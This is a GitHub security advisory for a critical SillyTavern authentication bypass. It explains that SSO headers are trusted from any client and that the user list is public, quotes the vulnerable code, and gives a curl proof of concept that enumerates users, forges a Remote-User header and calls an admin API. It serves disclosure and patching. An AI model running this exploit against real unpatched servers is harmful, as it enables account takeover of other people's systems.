GHSA-GXX6-H3G6-VWJH

Vulnerability from github – Published: 2026-05-12 22:23 – Updated: 2026-05-12 22:23
VLAI
Summary
SillyTavern has Authentication Bypass via SSO Header Injection
Details

Resolution

SillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user's needs.

Documentation: https://docs.sillytavern.app/administration/sso/

Summary

SillyTavern accepts Remote-User (Authelia) and X-Authentik-Username (Authentik) HTTP headers to automatically log in users when SSO is configured. There is no validation that these headers originate from a trusted reverse proxy. Any network client that can reach the SillyTavern port directly can inject these headers and authenticate as any user, including administrators, without a password. This vulnerability is exploitable only when sso.autheliaAuth: true or sso.authentikAuth: true is set in config.yaml (both default to false).

Detials

SillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the tryAutoLogin function (called on every request to /login) invokes headerUserLogin, which reads an HTTP header set by the upstream proxy and automatically creates an authenticated session for the matching user:

src/users.js:779-801:

async function headerUserLogin(request, header = 'Remote-User') {
    if (!request.session) { return false; }

    const remoteUser = request.get(header);  // reads any header from any client
    if (!remoteUser) { return false; }

    const userHandles = await getAllUserHandles();
    for (const userHandle of userHandles) {
        if (remoteUser.toLowerCase() === userHandle) {
            const user = await storage.getItem(toKey(userHandle));
            if (user && user.enabled) {
                request.session.handle = userHandle; 
                return true;
            }
        }
    }
    return false;
}

request.get(header) is Express's wrapper for req.headers[name.toLowerCase()]. Express does not distinguish between headers set by a trusted upstream proxy and headers injected by the end client. Without an IP allowlist check, any client can set Remote-User: and receive an authenticated session cookie.

User Enumeration Pre-Condition

The /api/users/list endpoint is registered before requireLoginMiddleware in src/server-main.js:236, making it publicly accessible without authentication:

src/server-main.js:236,239:

app.use('/api/users', usersPublicRouter);  // line 236 (public)
app.use(requireLoginMiddleware);           // line 239 (auth gate)

src/endpoints/users-public.js:26-57:

router.post('/list', async (_request, response) => {
    if (DISCREET_LOGIN) { return response.sendStatus(204); }
    const users = await storage.values(x => x.key.startsWith(KEY_PREFIX));
    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags
});

This allows an attacker to enumerate all user handles (including admin handles) without any prior credentials.

PoC

TARGET="http://localhost:8000"

# enumerate users
curl -s -X POST "$TARGET/api/users/list" -H "Content-Type: application/json" -d '{}'

# inject Remote-User header, receive authsession
curl -s -L \
  -H "Remote-User: admin-user" \
  -c /tmp/st-session.txt \
  "$TARGET/login"


# obtain CSRF token, call admin API
TOKEN=$(curl -s -b /tmp/st-session.txt "$TARGET/csrf-token" | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")

curl -s -X POST "$TARGET/api/users/admin/get" \
  -H "Content-Type: application/json" \
  -H "X-CSRF-Token: $TOKEN" \
  -b /tmp/st-session.txt \
  -d '{}'

Impact

An account takeover, allowing an attacker to do anything a legitimately authorized user can do.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.17.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "sillytavern"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-306",
      "CWE-346",
      "CWE-807"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-12T22:23:30Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Resolution\n\nSillyTavern 1.18.0 now includes a configuration option to limit which IP addresses can authorize using SSO headers, limiting to just loopback addresses by default. A setting can be customized according to user\u0027s needs.\n\nDocumentation: https://docs.sillytavern.app/administration/sso/\n\n## Summary\n\nSillyTavern accepts `Remote-User` (Authelia) and `X-Authentik-Username` (Authentik) HTTP\nheaders to automatically log in users when SSO is configured. There is no validation that\nthese headers originate from a trusted reverse proxy. Any network client that can reach\nthe SillyTavern port directly can inject these headers and authenticate as any user,\nincluding administrators, without a password. This vulnerability is exploitable only when `sso.autheliaAuth: true` or\n`sso.authentikAuth: true` is set in `config.yaml` (both default to `false`).\n\n### Detials\n\nSillyTavern implements header-based SSO for Authelia and Authentik. When enabled, the\n`tryAutoLogin` function (called on every request to `/login`) invokes `headerUserLogin`,\nwhich reads an HTTP header set by the upstream proxy and automatically creates an\nauthenticated session for the matching user:\n\n`src/users.js:779-801`:\n\n```js\nasync function headerUserLogin(request, header = \u0027Remote-User\u0027) {\n    if (!request.session) { return false; }\n\n    const remoteUser = request.get(header);  // reads any header from any client\n    if (!remoteUser) { return false; }\n\n    const userHandles = await getAllUserHandles();\n    for (const userHandle of userHandles) {\n        if (remoteUser.toLowerCase() === userHandle) {\n            const user = await storage.getItem(toKey(userHandle));\n            if (user \u0026\u0026 user.enabled) {\n                request.session.handle = userHandle; \n                return true;\n            }\n        }\n    }\n    return false;\n}\n```\n\n`request.get(header)` is Express\u0027s wrapper for `req.headers[name.toLowerCase()]`.\nExpress does not distinguish between headers set by a trusted upstream proxy and headers\ninjected by the end client. Without an IP allowlist check, any client can set\n`Remote-User: ` and receive an authenticated session cookie.\n\n### User Enumeration Pre-Condition\n\nThe `/api/users/list` endpoint is registered before `requireLoginMiddleware` in\n`src/server-main.js:236`, making it publicly accessible without authentication:\n\n`src/server-main.js:236,239`:\n```js\napp.use(\u0027/api/users\u0027, usersPublicRouter);  // line 236 (public)\napp.use(requireLoginMiddleware);           // line 239 (auth gate)\n```\n\n`src/endpoints/users-public.js:26-57`:\n```js\nrouter.post(\u0027/list\u0027, async (_request, response) =\u003e {\n    if (DISCREET_LOGIN) { return response.sendStatus(204); }\n    const users = await storage.values(x =\u003e x.key.startsWith(KEY_PREFIX));\n    return response.json(viewModels);  // returns handle, name, avatar, admin, password flags\n});\n```\n\nThis allows an attacker to enumerate all user handles (including admin handles) without\nany prior credentials.\n\n## PoC\n\n```bash\nTARGET=\"http://localhost:8000\"\n\n# enumerate users\ncurl -s -X POST \"$TARGET/api/users/list\" -H \"Content-Type: application/json\" -d \u0027{}\u0027\n\n# inject Remote-User header, receive authsession\ncurl -s -L \\\n  -H \"Remote-User: admin-user\" \\\n  -c /tmp/st-session.txt \\\n  \"$TARGET/login\"\n\n\n# obtain CSRF token, call admin API\nTOKEN=$(curl -s -b /tmp/st-session.txt \"$TARGET/csrf-token\" | python3 -c \"import sys,json; print(json.load(sys.stdin)[\u0027token\u0027])\")\n\ncurl -s -X POST \"$TARGET/api/users/admin/get\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"X-CSRF-Token: $TOKEN\" \\\n  -b /tmp/st-session.txt \\\n  -d \u0027{}\u0027\n```\n\n---\n\n## Impact\n\nAn account takeover, allowing an attacker to do anything a legitimately authorized user can do.",
  "id": "GHSA-gxx6-h3g6-vwjh",
  "modified": "2026-05-12T22:23:30Z",
  "published": "2026-05-12T22:23:30Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/security/advisories/GHSA-gxx6-h3g6-vwjh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SillyTavern/SillyTavern"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SillyTavern/SillyTavern/releases/tag/1.18.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SillyTavern has Authentication Bypass via SSO Header Injection"
}


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